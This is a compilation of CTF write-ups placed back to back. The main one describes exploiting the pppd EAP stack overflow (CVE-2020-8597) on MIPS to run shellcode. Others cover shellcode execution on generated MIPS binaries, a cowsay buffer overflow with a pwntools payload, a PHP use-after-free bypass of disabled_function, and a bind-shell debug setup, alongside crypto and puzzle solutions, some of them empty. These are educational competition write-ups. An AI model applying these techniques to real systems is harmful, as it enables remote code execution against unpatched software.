# pppd # Summary We need to pwn [pppd](https://github.com/paulusmack/ppp) using [CVE-2020-8597](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8597) on MIPS. Nuffsaid. # Analysis We are given a MIPS VM (vmlinux + initramfs), which contains pppd v2.4.7. pppdis started via inittab as follows: ```ttyS0::sysinit:/pppd auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100``` The bug in question is fixed byhttps://github.com/paulusmack/ppp/commit/8d7970b8f3db, which shows that if wemanage to trigger `eap_request()`, due to totally defunct bounds check we cansupply a large `rhostname`, overwrite saved `ra` and get pc control. The binary is compiled without any mitigations whatsoever, most importantly:no ASLR and no W^X. # Debugging First order of business is to establish some kind of debugging setup. Thesupplied VM lacks debugging tools, but I have a [handy script](https://github.com/mephi42/initramfs-wrap) that adds strace, gdb and evenvalgrind. Ok, the tools are available, but how to apply them to conveniently debug theexploit, given that exploitation process ties up the only TTY? Over the network,of course! The supplied kernel is not stripped, as is sometimes the case duringCTFs, and network Just Works™ by just adding `-nic tap` to the provided[start.sh](https://github.com/mephi42/ctf/blob/master/2020.05.02-De1CTF_2020/pppd/start-dbg.sh) and injecting our own [init](https://github.com/mephi42/ctf/blob/master/2020.05.02-De1CTF_2020/pppd/init.dbg) that issues abunch of `ip` commands before `exec()`ing the original one. Two other modifications to qemu arguments are: `-m 256M` (maximum QEMU MIPSsupports, believe it or not :-/) and `-s` (yes, for kernel debugging - we'll getto that). Another thing that the injected init does is starting a bind shell with socat inthe background. I didn't try ssh, because I thought it won't fit: the availablememory must accommodate the kernel and both the compressed and uncompressedinitramfs at a certain point in time. There are two QoL problems with the bind shell: gdb takes ages to start in a VM,and Ctrl+C just kills the connection instead of interrupting the debuggedprogram. Both of them can be solved by starting `gdbserver` over the bind shell,and connecting to it using `gdb-multiarch` from the host. That's how debugging setup looked like at the end: Step 0 - extract initramfs, needed for gdb: ```rootfs$ gunzip <../rootfs.img | cpio -idv``` Step 1 - needed because `-nic tap` requires root, and I didn't really want torun exploit as root. So I replicated orgas' setup instead: ```$ sudo socat TCP-LISTEN:8848,reuseaddr,fork EXEC:./start-dbg.sh``` Step 2 - run exploit. This cleans up old VMs and triggers startup of a new one.In the exploit I added `pause()` calls before critical actions, so that I wouldhave some time to attach. ```$ (sudo killall qemu-system-mipsel && sleep 1) ; ./pwnit.py LOCAL DEBUG``` Step 3 - configure host tap ip and start gdbserver: ```$ sudo ip addr add 192.168.33.1/24 dev tap0 ; nc 192.168.33.2 4444# gdbserver --multi --attach 0.0.0.0:5555 $(pidof pppd)``` Step 4 - attach and optionally set some breakpoints right away: ```$ gdb-multiarch -ex 'set sysroot rootfs' \ -ex 'target remote 192.168.33.2:5555' \ -ex 'b *0x430198' \ -ex 'c' \ rootfs/pppd``` Phew, that was very involved, and is only as convenient as it gets. Still theeffort paid off very handsomely and will most likely be usable for similarchallenges in the future. # Existing exploit [There is something to try out](https://dl.packetstormsecurity.net/2003-exploits/CVE-2020-8597.py.txt), cool!The exploit looks neutered (to protect the guilty and innocent alike againstscript kiddies?) - there must be more than 256 `A`s, and it's just DoS anyway -there is no payload, but it's a good start. Ethernet headers must be stripped first though; I used a very lazy approach andran the exploit against localhost, capturing the traffic in wireshark. It hasindeed shown me the EAP request, which I copy-pasted, adjusted the number of`A`s and length fields (using [EAP RFC](https://tools.ietf.org/html/rfc2284) aa reference) and replayed against my instance. Aaand nothing - the server didnot crash. # Talking to pppd Surely I messed up the packet structure somehow - this can be easily resolved bysetting a breakpoint on [`get_input()`](https://github.com/paulusmack/ppp/blob/ppp-2.4.7/pppd/main.c#L1019) function andsingle-stepping to see which of the checks fails. Aaand nothing again - mypacket is not even seen by pppd. Time to start using the brain, for better orworse. First of all, PPP packets can be wrapped in multiple protocols - the existingexploit uses Ethernet, and the challenge most likely uses some kind of serialline. Correlating the packets that pppd sends when it starts with [PPP RFC](https://tools.ietf.org/html/rfc1331) confirms this: the first two bytes are`0x7e 0xff`, which corresponds to constant "flag" and "address" fields. The third byte ("control") does not match though: it's `0x7d` instead of theexpected `0x3`. Linux sources quite unhelpfully provide the following hint: ```#define PPP_ESCAPE 0x7d /* Asynchronous Control Escape */``` So.. it's some kind of undocumented "control" value that Linux uses? Well, no.After some mucking around I realized I need to use the information from AppendixA.: Asynchronous HDLC of the PPP RFC (the linux driver is called[`ppp_async.c`](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/drivers/net/ppp/ppp_async.c?h=v4.11.3), so this matches quite nicely). It defines the escaping mechanism: values lessthan `0x20` as well as `0x7d` and `0x7e` are escaped by prepending `0x7d` byteand xoring the original byte with `0x20`. Now it begins to make sense: inpackets that pppd sends `0x7d` on the third position is followed by `0x23`, sothis is the correct "control" value. Ok, so it's clear that in the DoS attempt the encapsulation was messed up, butwhere is the packet? Reading the linux driver further brings us to the[following function](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/drivers/net/ppp/ppp_async.c?h=v4.11.3#n831), which explains everything: ```/* Called when the tty driver has data for us. Runs parallel with the other ldisc functions but will not be re-entered */ static voidppp_async_input(struct asyncppp *ap, const unsigned char *buf,``` So the transfer of data between PPP and TTY devices happens not in pppd, but inthe kernel! There must be some ioctls to set that up, right? [Sure there are!](https://github.com/paulusmack/ppp/blob/ppp-2.4.7/pppd/sys-linux.c#L394) Okay, so the kernel needs to be made happy first. It would be handy tosingle-step through the kernel code that handles packets, which can be achievedby attaching to qemu gdbserver that was enabled earlier with `-s` as follows: ```gdb-multiarch -ex 'target remote localhost:1234' ./vmlinux``` and setting breakpoints (symbols are not stripped, and the kernel version isknown - `v4.11.3`, so asm can be correlated with the source code). There are three kind of sort of crazy things in PPP RFC that must be taken intoaccount: * Each packet must start and end with the `0x7e` flag. This and this alone defines its length.* Escaping. What needs to be escaped are: bytes with small values (for whatever reason), as well as escape symbol itself and flags (reasonable).* FCS checksum. I call it crazy, because of the checking procedure: instead of computing the checksum of the original data and comparing the result with the checksum field, instead the checksum of the original data AND the checksum field is computed and compared with the constant value. Mathematically this is reasonable - why not?, but I have not seen anything like this before. # LCP state machine Implementing the above is indeed enough to convince the kernel to pass thepacket to pppd. However, again, no luck - pppd does not crash. Fortunately,single-stepping works now, so the brain can be switched back to the energysaving mode. The reason EAP packet doesn't get far enough is that the [following check](https://github.com/paulusmack/ppp/blob/ppp-2.4.7/pppd/main.c#L1062) fails: ``` /* * Toss all non-LCP packets unless LCP is OPEN. */ if (protocol != PPP_LCP && lcp_fsm[0].state != OPENED) {``` So some kind of LCP handshake is needed before interesting packets can be sent.By correlating section 5.1. State Diagram with `lcp_fsm`-related source code,I could come up with the following sequence: recv Configure-Request (that'swhat startup packets actually are), send Configure-Ack, send Configure-Request(curiously, pppd rejects such packets if they contain options it previouslysent - probably has to do with options being applicable to each directionindividually - so it's better to just make it empty), recv Configure-Ack. And send EAP request. And, finally, KABOOM! SIGSEGV trying to execute code ataddress `0x414141`. pc control achieved. # Exploitation I thought I could make the challenge even more interesting by using ROP(well, no - in reality, I just forgot there was no W^X ;)), but this turned outto be an exercise in futility: I managed to call `device_script(a0="sh",a1=STDIN_FILENO, a2=STDOUT_FILENO, a3=0)`, but I could not talk to my shell,because the kernel was still sitting in the middle and of course it did not likemy `cat flag` command or anything that the shell would've sent back had itreceived it. What was missing was a [`tty_disestablish_ppp(0)`](https://github.com/paulusmack/ppp/blob/ppp-2.4.7/pppd/sys-linux.c#L545) call toundo the unholy TTY/PPP union, however, I could not find any gadgets to calla function and then return to a controlled location (something like`lw ra, X(sp); jr Y`, where I control `Y`). In desperation I finally remembered about W|X, and the rest was easy: thepackets are stored in the global variable, so I just needed to put the shellcodethat does `tty_disestablish_ppp`+`execl` somewhere in the packet and overwritethe return address with the address of that buffer. [That worked](https://github.com/mephi42/ctf/blob/master/2020.05.02-De1CTF_2020/pppd/pwnit.py). # Flag `De1CTF{PpPd_5tackOverf1ow_1s_1ntersT1ng}`
Writeup in French https://github.com/Folcoxx/Writeup-CTF/tree/master/Tiger%20King%20CTF%202020/Crypto%2C%20Ciphers%2C%20and%20Encodings/200-%E2%80%8B%5Bvi%CA%92n%C9%9B%CB%90%CA%81%5D
ElectroCore is an online voting platform that allows users to create elections, nominate themselves for elections, or vote for nominated candidates in open elections. Winning an election grants you access to all nominees’ private notes (which contained flags). The goal was therefore simple: Win all elections. Or at last sufficiently many. See link for full write-up.
# Cowspeak as a Service ![](chall.png) Ok, I gotta admit, this was a really fun challenge! Took me a bit, but I really enjoyed doing it! It was a good one! We are given the [source code](main.c) of the binary. It uses a program called cowsay, which is a program that generates an ASCII image of a cow with a message. But this is an online service, hence the name Cowspeak as a Service. Looking at the source, I found out that... ```cint main() { char buf[1024]; setbuf(stdout, NULL); puts("Welcome to Cowsay as a Service (CaaS)!\n"); puts("Enter your message: \n"); fgets(buf, 1024, stdin); moo(buf); return 0;}``` ...it takes 1024 characters as input... ```cvoid moo(char *msg){ char speak[64]; int chief_cow = 1; strcpy(speak, msg); speak[strcspn(speak, "\r\n")] = 0; setenv("MSG", speak, chief_cow); system("./cowsay $MSG"); }``` ...stores it in an environment variable, and then executes cowsay with your message, displaying the message as output. I first thought that by using this you could execute bash code, because you can set flags for cowsay when connected to the server via netcat: ```Welcome to Cowsay as a Service (CaaS)! Enter your message: -f tux "Hello!" __________< "Hello!" > ---------- \ \ .--. |o_o | |:_/ | // \ \ (| | ) /'\_ _/`\ \___)=(___/``` But that is indeed not the case. I read the challenge text again. It looks like we have to figure out how to read a message we didn't write. If we find out how to not overwrite the environment variable, we will see other messages people wrote. But how do we do that? After some digging, I found this: [![](setenv.png)](https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.2.0/com.ibm.zos.v2r2.bpxbd00/setenv.htm)[![](setenv2.png)](https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.2.0/com.ibm.zos.v2r2.bpxbd00/setenv.htm) Hmm... If `change_flag` is 0, the message is not overwritten! But what is that in our script? ```cchar speak[64];int chief_cow = 1;...setenv("MSG", speak, chief_cow);``` It uses a variable called `chief_cow` to determine if this will be overwritten. It's time to do another buffer overflow! You can compile the script by using `gcc` ```$ gcc main.c -o main``` Then, to see the assembly, you can use this command: ```$ objdump -d -M intel main > main.asm``` Let's look at `moo`: ```0000000000001195 <moo>: 1195: 55 push rbp 1196: 48 89 e5 mov rbp,rsp 1199: 48 83 ec 60 sub rsp,0x60 119d: 48 89 7d a8 mov QWORD PTR [rbp-0x58],rdi 11a1: c7 45 fc 01 00 00 00 mov DWORD PTR [rbp-0x4],0x1 11a8: 48 8b 55 a8 mov rdx,QWORD PTR [rbp-0x58] 11ac: 48 8d 45 b0 lea rax,[rbp-0x50] 11b0: 48 89 d6 mov rsi,rdx 11b3: 48 89 c7 mov rdi,rax 11b6: e8 75 fe ff ff call 1030 <strcpy@plt> 11bb: 48 8d 45 b0 lea rax,[rbp-0x50] 11bf: 48 8d 35 42 0e 00 00 lea rsi,[rip+0xe42] # 2008 <_IO_stdin_used+0x8> 11c6: 48 89 c7 mov rdi,rax 11c9: e8 b2 fe ff ff call 1080 <strcspn@plt> 11ce: c6 44 05 b0 00 mov BYTE PTR [rbp+rax*1-0x50],0x0 11d3: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] ## int chief_cow = 1; 11d6: 48 8d 45 b0 lea rax,[rbp-0x50] ## char speak[64]; 11da: 48 89 c6 mov rsi,rax 11dd: 48 8d 3d 27 0e 00 00 lea rdi,[rip+0xe27] # 200b <_IO_stdin_used+0xb> 11e4: e8 67 fe ff ff call 1050 <setenv@plt> 11e9: 48 8d 3d 1f 0e 00 00 lea rdi,[rip+0xe1f] # 200f <_IO_stdin_used+0xf> 11f0: e8 7b fe ff ff call 1070 <system@plt> 11f5: 90 nop 11f6: c9 leave 11f7: c3 ret ``` So, the character array `speak[64]` is at `rbp-0x50`, or 80 bytes below the base pointer. This is where we start writing data at. `chief_cow` is at `rbp-0x4` or 4 bytes below the base pointer. `chief_cow` is 4 bytes in size. We need to write bytes up to `chief_cow`, and then overwrite `chief_cow` with 0. We can do this in python. I'm using [pwntools](https://docs.pwntools.com/en/stable/about.html) to do this. ```pythonr.send(b'A' * (0x50 - 0x4)) ## Write bytes up to chief_cowr.send(p64(0x0)) ## chief_cow == 0``` And that's it! We should get the flag! ```$ py sol.py rem[+] Opening connection to 192.241.138.174 on port 9998: Done[*] Switching to interactive modeWelcome to Cowsay as a Service (CaaS)! Enter your message: ________________________< UMDCTF-{P5Th_Ov3rF10w} > ------------------------ \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||[*] Got EOF while reading in interactive``` Flag: `UMDCTF-{P5Th_Ov3rF10w}`
# code_runner # Summary After a PoW check, the server generates a MIPS binary, sends it base64-encodedto us, and then runs it. The binary checks 64 bytes we supply to its stdin, andin case it's happy, it lets us give it some shellcode to run. The catch is thatgenerates binaries are kind of different, and there is a time limit. # Analysis Even though there is PoW, it's still possible to download a significant amountof samples. I let the script to run in the background, and it ended up collectingabout 1000. The `main()` function is always like this: ```int main() { gettimeofday(&dt, NULL); if (checker()) { gettimeofday(&t1, NULL); dt.tv_usec = ((t1.tv_sec - dt.tv_sec) * 1000000 + t1.tv_usec) - dt.tv_usec; if (dt.tv_usec / 100000 < 13) read(0, shellcode, 0x34); (*(code *)shellcode)();``` This means we have 1.3 seconds to find something that the checker would accept.The first two layers are always the same: ```uint checker() { puts("Faster > "); read(0,input,0x100); checker_trampoline(input);``` followed by ```uint checker_trampoline(uchar *input) { return checker0(input);``` What follows are 16 chained checkers, each of which inspects 4 bytes: ```uint checker0(uchar *input) { if ((input[1] == input[3]) && (input[0] == input[2]) && (input[0] == -0x26) && (input[3] == 0x1a)) return checker1(input + 4); else return 0;}``` and the final checker is always the same: ```uint checker16(uchar *input) { return 0xc001babe;}``` # Attempt 1: angr This looks simple enough for [angr to solve](https://github.com/mephi42/ctf/blob/master/2020.05.02-De1CTF_2020/code_runner/angrit.py). Indeed, angr cuts throughmost checkers like a hot knife through butter. What gives it pause are nonlinearcheckers like this one: ```uint checker3(uchar *input) { x1 = input[2] * input[2] - input[1] * input[1]; if (x1 < 0) x1 = -x1; x2 = input[3] * input[3] - input[0] * input[0]; if (x2 < 0) x2 = -x2; if (x2 <= x1) { x1 = input[3] * input[3] - input[2] * input[2]; if (x1 < 0) x1 = -x1; x2 = input[0] * input[0] - input[1] * input[1]; if (x2 < 0) x2 = -x2; if (x1 < x2) return checker4(input + 4); } } return 0;}``` The good news is that there is always a solution, where inputs are either `0`or `1`, so trying each checker with such an extra constraint first lets us getpast those without adding any explicit signatures. This puts us at 15 seconds under pypy3 though, and despite the presence of someglaring inefficiencies, like starting symbolic execution at the very entrypoint, it's highly unlikely that we can get to 1.3s. So this approach has tobe scrapped. # Attempt 2: grouping and signatures Since `checker_trampoline()` is always the same, and each checker follows thesame pattern: ```if (!cond1) goto fail;if (!cond2) goto fail;...return checker_n+1(input + 4); # jal ADDRfail:return 0; # jr ra``` we can very quickly identify and extract every single one of them from allsamples, and then do a pairwise [`difflib.SequenceMatcher().ratio()`](https://docs.python.org/3/library/difflib.html#difflib.SequenceMatcher.ratio) onthem in order to find similar groups. There are certain immediately noticeable thresholds: 98% and 70%. Using 98%produces groups that differ only by constant values (good), but there are waytoo many of them to further handle manually. Using 70% produces a moremanageable amount of groups, however, the differences within each group arequite significant - it's not only register numbers, but sometimes also sequencesof instructions. I'm pretty sure an AV guru could've make it work, but having stared at samplesfor quite some time, I knew that I would have more luck with the next approach. # Solution: signatures + DIY femtoangr angr has a lot of nice features, like using a proper IR and forking states, butthis challenge doesn't really need them, and they appear slow us down. What weneed is converting an essentially linear sequence of checks into a constraintand letting z3 solve it. There are only ~20 various MIPS instructions in collected samples, so it wasfairly easy to write [such a convertor](https://github.com/mephi42/ctf/blob/master/2020.05.02-De1CTF_2020/code_runner/emu.py). There are a bunch of placeswhere we can cheat and get away with it: not handling overflows, considering all"branch taken" events as lava and matching `abs()` by signature. Combined with nearly instantaneous extraction of checkers from the secondapproach this puts us at 0.2 seconds, which is more than enough. There are plenty of MIPS shellcodes floating on the internet, I ended up used[this one](https://packetstormsecurity.com/files/105611/MIPS-execve-Shellcode.html),because it fit somewhat tight space requirements. The [combined exploit](https://github.com/mephi42/ctf/blob/master/2020.05.02-De1CTF_2020/code_runner/pwnit.py) worked! # Flag `De1ctf{9d94bc3d3f57f1b33aee728b5d32d6d473df8df3}`
# NLFSR ## Information- category: crypto- points: 235 ## DescriptionEasy lfsr easy crypto 链接:https://share.weiyun.com/5qZbNLR 密码:n9huwc https://drive.google.com/open?id=1a5GMVZ77CM1rOrayKJcV3UvMwAy-uGsg ## WriteupFirst of all, I solved this challenge together with [meowmeowxw](https://meowmeowxw.gitlab.io/) To understand how a general nlsr works, please read this [article](https://ctf-wiki.github.io/ctf-wiki/crypto/streamcipher/fsr/nfsr/) from ctfwiki.What did we learn from that article? That we must find a strong correlation between the output and one of the input.So we made a little script to retrieve the truth table of ```py (ao * bo) ^ (bo * co) ^ (bo * do) ^ co ^ do``` The table retrieved is the following: ![alt text](table.jpg "Truth Table") Is possible to see that the parameter A has a strong correlation with the output (75% of times, if A=0 then the output is 0).So we can calculate this value using the same approach described in the article mentioned before. I modified it slightly and the result is the following code: ```py mapA = { (0,): 0} def lfsr(r, m): output = ((r << 1) & 0xffffff) ^ (bin(r & m).count('1') % 2) last_bit = (bin(r & m).count('1') % 2) return output, last_bit def guessA(maps: {}, rang, a, data, res): ma= 0x505a1 old_a = a for a in rang: a = old_a good = 0 total = 0 for j in range(0, len(data)): to_check = () output = int(data[j]) a, a_bit = lfsr(a, ma) to_check += (a_bit, ) expected_res = maps.get(to_check, None) if expected_res is None: continue if expected_res == output: good += 1 total += 1 if total != 0: ratio = good * 100 / total if ratio >= 70: res.append(var) return sorted(res, reverse=True) ```This function will return the values of every number that has a correlation greater than 70, and only the value 363445 has this propertyNow we can retrieve the value of B. This is possible because, reading the truth table, if we know the value of A, and the output O, it is possible to bruteforce the value B having as constraints:- If A is 1 and the output is 1, B must be 1.- If A is 0 and the output is 0, B must be 1. Again only 1 value comply with the constraints.At this point, we tried to find a correlation with C and D, having A,B and output. But we did not find any correlation, so we decided to bruteforce something.Since D are only ~40 values, we can try every value of D and use the complete truth table to retrieve the value of C for that particular D.Of course the last possible value of D was the right one, and thank to that we find the valid value for C. The values were: A=363445, B=494934, C=4406, D=63.
# Challenge - hellofellowchallengers ## # Challenge Details ![Details](images/7.png) "The flag could be any one of us! He could be in this very room... He could be you! He could be me! He could even be..." So from this I got that either some users name is flag or either any teams name, So I wrote a python script for download all users and teams name. ### # Script ```pythonimport requestsimport re for x in range(1,22): url = 'https://ctf.wpictf.xyz/teams?page='+str(x) print("Url:", url) response = requests.get(url) pattern = r'()(\s)*(.*)(\s)*' matches = re.findall(pattern, response.text) for match in matches: print(match[2]) with open("teams.txt", "a") as f: f.write(match[2]+"\n")``` Similarly for users name I just changed users in url and in pattern and then saved in users.txt ### # FLAG So after saving all names of users and teams I searched pattern WPI{...} And I found *WPI{y000h}* in users.txt but unfortunately this was not flag. Then I found **WPI{the_best_teams_make_the_flags}** in teams.txt and this was correct flag.
Although I failed to solve the challenge during CTF, but I think it is worthwhile to do a write-up. The challenge is to exploit a PHP script engine using this bug. We can execute arbitrary PHP code but we must bypass disabled_function restriction to execute shell command, using a UAF vulnerability. Therefore, this is actually more a Pwn challenge than a Web challenge. However, different from official PHP engine, a custom libphp7.so is provided. This engine does not provide any loop functionality such as for/while/do-while/foreach. Moreover, in remote server, the recursion depth is also restricted, and strlen function always returns NULL, even though these cases do not occur in my local environment. The exploit idea is similar to the exploit provided in Github: use UAF to overlap a string with an object, so that we can leak the addresses, then clone a function object and rewrite relevant function pointer to make the function system.
## Unzipping over 1800 files (with the help of bash and python!)This really was a great challenge for me, it taught me alot about bash and bash scripting and was the best challenge I've solved in the whole CTF! ### Writing the bash script.The bash script I wrote wasn't complicated at all, it was small and got the job done (with the downside of having to delete all the previous zip files when it got to the 999th zip, the 99th zip and the 9th zip as it would then add it at the end of the list which didn't work well for my script because of reasons you will see now, there is sure to be a solution to this but this challenge didn't count a lot of points so i just did it manually :D!) So first off we start with the bash shebang and a notice to let us know that the script started working:```#!/bin/bash echo "[*] Script is running."``` Then we want to access our bruteforcing script(which in this case was python and could easily be found online if you search for 7z-Bruteforce with python.) ```cd 7z-BruteForce # This was the directory my script was in.``` Now we can start with the exciting stuff, first let's make a while true loop to get all the files and unzip them. ```while [[ true ]];do``` Now we need to get all the zipped files, this could easily be done with egrep as follows:``` ls | egrep "tar|gz|zip" > output.txt # We are putting it into the files output.txt for later use.``` What we want to do now is get the first line of the file and read it and only extract it, otherwise our extraction of all the zip files would take hours as it would bruteforce every file in the list over and over again even though it has already been extracted:``` head -n 1 ouput.txt | while read line; do echo "===================================" echo "### Trying to extract zip file! ###" echo "==================================="``` So now comes the main part of the script, we need to extract the files and bruteforce them if they have a password. Luckily this isn't too hard to code as our python script of choice does all the heavy lifting here.``` if [ $line ]; then python main.py -f $line -w passwords.txt else echo "[-] No lines found in output.txt" fi donedone```And that is all there was to it, the python script really shouldn't be hard to code and I only posted the bash as this is what extracted all of the files for us(thus solving the challenge.) It shouldn't be too hard to modify your python script to also delete the old files if it's done extracting the new one! NOTE: In my script I did use 7z as it can extract all file types without problems, thus making it much smaller and more efficient and yes you can make a bruteforcer with bash and that would be an interesting project but i decided mine would be better made in python to have this script work to its full potential make your python delete all the old zipped flies that it has already extracted... THANKS FOR READING!
# CH₃COOH #### 50 Points ### '<Owaczoe gl oa yjirmng fmeigghb bd tqrrbq nabr nlw heyvs pfxavatzf raog ktm vlvzhbx tyyocegguf. Tbbretf gwiwpyezl ahbgybbf dbjr rh sveah cckqrlm opcmwp yvwq zr jbjnar. Slinjem gfx opcmwp yvwq gl demwipcw pl ras sckarlmogghb bd xhuygcy mk ghetff zr opcmwp yvwq ztqgckwn. Rasec tfr ktbl rrdrq ht iggstyk, rrnxbqggu bl lchpvs zymsegtzf. Tbbretf vq gcj ktwajr ifcw wa ras psewaykm npmg: nq t tyyocednz, nabrva vcbibbt gguecwwrlm, ce gg dvadzvlz. Of ras zmlh rylwyw foasyoprnfrb fwyb tqvb, bh uyl vvqmcegvoyjr vnb t kvbx jnpbsgw ht vlwifrkwnj tbq bharqmwp slsf (qnqu yl wgq ngr yl o umngrfhzq aesnlxf). Jfbzr tbbretf zydwae fol zx of mer nq tzpmacygv pecpwae, mvr dbffr wcpsfsarxr rtbrrlvs bd owaczoe ktyvlz oab ngr utg ow mvr Ygqvcgh Oyumymgwnll oemnbq 3000 ZV. Hucr degfoegem zyws iggstyk temf rnrxg, sgzg, nlw prck oab ngrb bh smk pbra qhjbbnpr oab fsqgvwaye dhpicfcl. Heyvsf my wg yegb ftjr zxsa dhiab bb Rerdggtb hpgg. Vl Xofr Tgvy, mvr Aawacls oczoa nkcsclgvmgoygswae owaczoe nkcqsvhvmg wa ras Mfhi Qwgofrr. Wa ras omhy Mfhi Yg, bh zcghvmgg zygm amuzr mk fbwtz umngrfhzqq aoq y “owaczoe ktyrp” tg n qispgtzvxxr cmlwgghb. Zmlh iggstyk anibbt rasa utg pmgqrlmfnrxr vl pvnr bg amp Guyglv nkciggqr lxoe ras pgmm Gybmhyg kugvv ecfovll o syfchq owaczoe ktyvlz frebca rhrnw. Foaw Vvvlxgr tbbretff ygr gfxwe slsf dhf psewaykm nlw arbbqvltz cskdbqxg jcks jpbhgcg rbug wa ras nekwpsehhptz zyginj Jwzgg Mnmlvh. pmqc{tbbretf_bl_fm_sglv_nlw_qugig_cjxofc}>' Dev: William Hint! Short keys are never a good thing in cryptography. ### Solution: ### Short key, first crypto in a CTF? Just smells of a Vigenere cipher. Google “vigenere decoder” and you’ll come up with a couple tools that will brute force this and use letter analysis to figure out which is most likely to be the right flag. In this case “tony” comes up pretty quick and you can pull the flag out. ### Flag: ### rtcp{vinegar_on_my_fish_and_chips_please} # "fences are cool unless they're taller than you" - tida #### 50 Points ### “They say life's a roller coaster, but to me, it's just jumping over fences.” tat_uiwirc{s_iaaotrc_ahn}pkdb_esg ### Solution: ### Google “fence cipher” and you’ll read about the Rail Fence Cipher. Throw the encrypted flag into CyberChef and choose “Rail Fence Cipher Decode” and fiddle with some settings. When you go from key 2 to key 3 things look much better. It still wraps the r to the end of the string, but you just fix that manually. Be VERY careful about copying the ciphertext. An extra space or CR at the end will throw everything off. ### Flag: ### rtcp{ask_tida_about_rice_washing} # Returning Stolen Archives #### 50 Points ### Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now. Ciphertext: smdrcboirlreaefd Dev: Delphine Hint! words are separated with underscores ### Soulution: ### ### Flag: ### # Broken Yolks #### 518 Points ### Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now. Ciphertext: smdrcboirlreaefd Hint! words are separated with underscores ### Solution: ### Why hello Google, my old friend. Search for “scramble cipher” and you’ll pull up a few tools that extract words from a string of text to help with solving anagrams. Looking at those words “scrambled” sticks out with all of the egg references in the title and help text. Remove those letters and you have “doirref”. Run it through again or think in scrable tiles and you’ll see “fried or” as an anagram that fits nicely to give you…. ### Flag: ### rtcp{fried_or_scrambled} # Rivest Shamir Adleman #### 831 Points ### A while back I wrote a Python implementation of RSA, but Python's really slow at maths. Especially generating primes. Dev: Tom Hint! There are two possible ways to get the flag ;-) ### Solution: ### ### Flag: ### # Post-Homework Death #### 1,173 Points ### My math teacher made me do this, so now I'm forcing you to do this too. Flag is all lowercase; replace spaces with underscores. Dev: Claire Hint! When placing the string in the matrix, go up to down rather than left to right. Hint! Google matrix multiplication properties if you're stuck. ### Solution: ### ### Flag: ### # Parasite #### 1,262 Points ### paraSite Killed me A liTtle inSide Flag: English, case insensitive; turn all spaces into underscores Dev: Claire Hint! Make sure you keep track of the spacing- it's there for a reason ### Soluton: ### This one gave us fits. The text was in Morse code, but the letters made no sense whatsoever. Just for kicks, we ran them through a few cipher decoders with no effect. The Morse code had a number of single and double spaces that looked suspiciously like fractionated Morse code to our resident Morse geek. Perhaps the pattern in the hint represented delimiters? After an hour or so of playing with offsets and separators, it became evident that this was not the case. One of our teammates again pointed to the hint and noticed that S-K-A-T-S were capitalized. He found that SKATS stood for South Korean Alphabet Transliteration System (also known as Korean Morse equivalents). He also saw the Korean movie Parasite and remembered a scene where one of the characters used Morse code to communicate. Using the SKATS table, our teammate managed to translate each letter into the corresponding Hangul characters. Unfortunately, he was a native english speaker and was stuck. Google Translate was not working very well (as is often the case with Asian characters). Luckily, one of our team members lives in the heart of K-Town and was able to lean on his friendly neighborhood Korean family for some help with Hangul. ### Flag: ### rtcp{hope_is_the_true_parasite} # Sizzle #### 1,345 Points ### Due to the COVID-19 outbreak, we ran all out of bacon, so we had to use up the old stuff instead. Sorry for any inconvenience caused... Dev: William Hint! Wrap your flag with rtcp{}, use all lowercase, and separate words with underscores. Hint! Is this really what you think it is? ### Solution:### Bacon is quite yummy, but pork products probably weren't what the devs meant for this one. Bacon refers to the Baconian Cipher devised by Francis Bacon in 1605. The Baconian cipher is a 5-bit binary cipher where each letter of plaintext is represented by a group of five of “A” or “B” letters. In this case, the encoded text was a block of Morse code that translated to gibberish. Recognizing that every “letter” was five characters long, I used a quick regex script to replace each “dot” with an “A” and each “dash” with a “B”. This created Baconian letters that were easily translated using the Bacon Decoder at dcode.fr. ### Flag: ### rtcp{BACON_BUT_GRILLED_AND_MORSIFIED} # Rainbow Vomit #### 1,585 Points ### o.O What did YOU eat for lunch?! The flag is case insensitive. Dev: Tom Hint! Replace spaces in the flag with { or } depending on their respective places within the flag. Hint! Hues of hex Hint! This type of encoding was invented by Josh Cramer. ### Solution: ### First open this image up in a proper editor. Opening it up in a browser or image view tends to blur the image when you zoom way in. Opening it in Gimp and zoom in so you see individual pixels. I first noticed there were not a lot of colors and it looked kind of like an old CGA palette. Using the color picker I grabbed a few and based on the CYMK values thought each one could be a nibble. I transcoded it and joined two colors into bytes. Once I converted that to ASCII it was pretty obviously jiberish. I poked at it a few more times, but no good ideas. Either the hints weren’t there when I first started or, more likely, I didn’t read them. Luckily one of my teammates recognized it or was better at google and came up with Hexahue encoding. We manually transcoded a couple letters and it was definitely the answer and we couldn’t find any pre built decoding apps so I made this hideous python script to print out the whole thing. Giving you…. “there is such as thing as a tomcat but have you ev er heard of a tomdog. this is the most important q uestion of our time, and unfortunately one that ma y never be answered by modern science. the definit ion of tomcat is a male cat, yet the name for a ma le dog is max. wait no. the name for a male dog is just dog. regardless, what would happen if we wer e to combine a male dog with a tomcat. perhaps wed end up with a dog that vomits out flags, like thi s one rtcp should,fl5g4,b3,st1cky,or,n0t” ### Flag: ### rtcp{should,fl5g4,b3,st1cky,or,n0t} # 11 #### 1,777 Points ### I wrote a quick script, would you like to read it? - Delphine (doorbell rings) delphine: Jess, I heard you've been stressed, you should know I'm always ready to help! Jess: Did you make something? I'm hungry... Delphine: Of course! Fresh from the bakery, I wanted to give you something, after all, you do so much to help me all the time! Jess: Aww, thank you, Delphine! Wow, this bread smells good. How is the bakery? Delphine: Lots of customers and positive reviews, all thanks to the mention in rtcp! Jess: I am really glad it's going well! During the weekend, I will go see you guys. You know how much I really love your amazing black forest cakes. Delphine: Well, you know that you can get a free slice anytime you want. (doorbell rings again) Jess: Oh, that must be Vihan, we're discussing some important details for rtcp. Delphine: sounds good, I need to get back to the bakery! Jess: Thank you for the bread! <3 Dev: Delphine edit: This has been a source of confusion, so: the code in the first hint isn't exactly the method to solve, but is meant to give you a starting point to try and decode the script. Sorry for any confusion. Hint! I was eleven when I finished A Series of Unfortunate Events. Hint! Flag is in format: 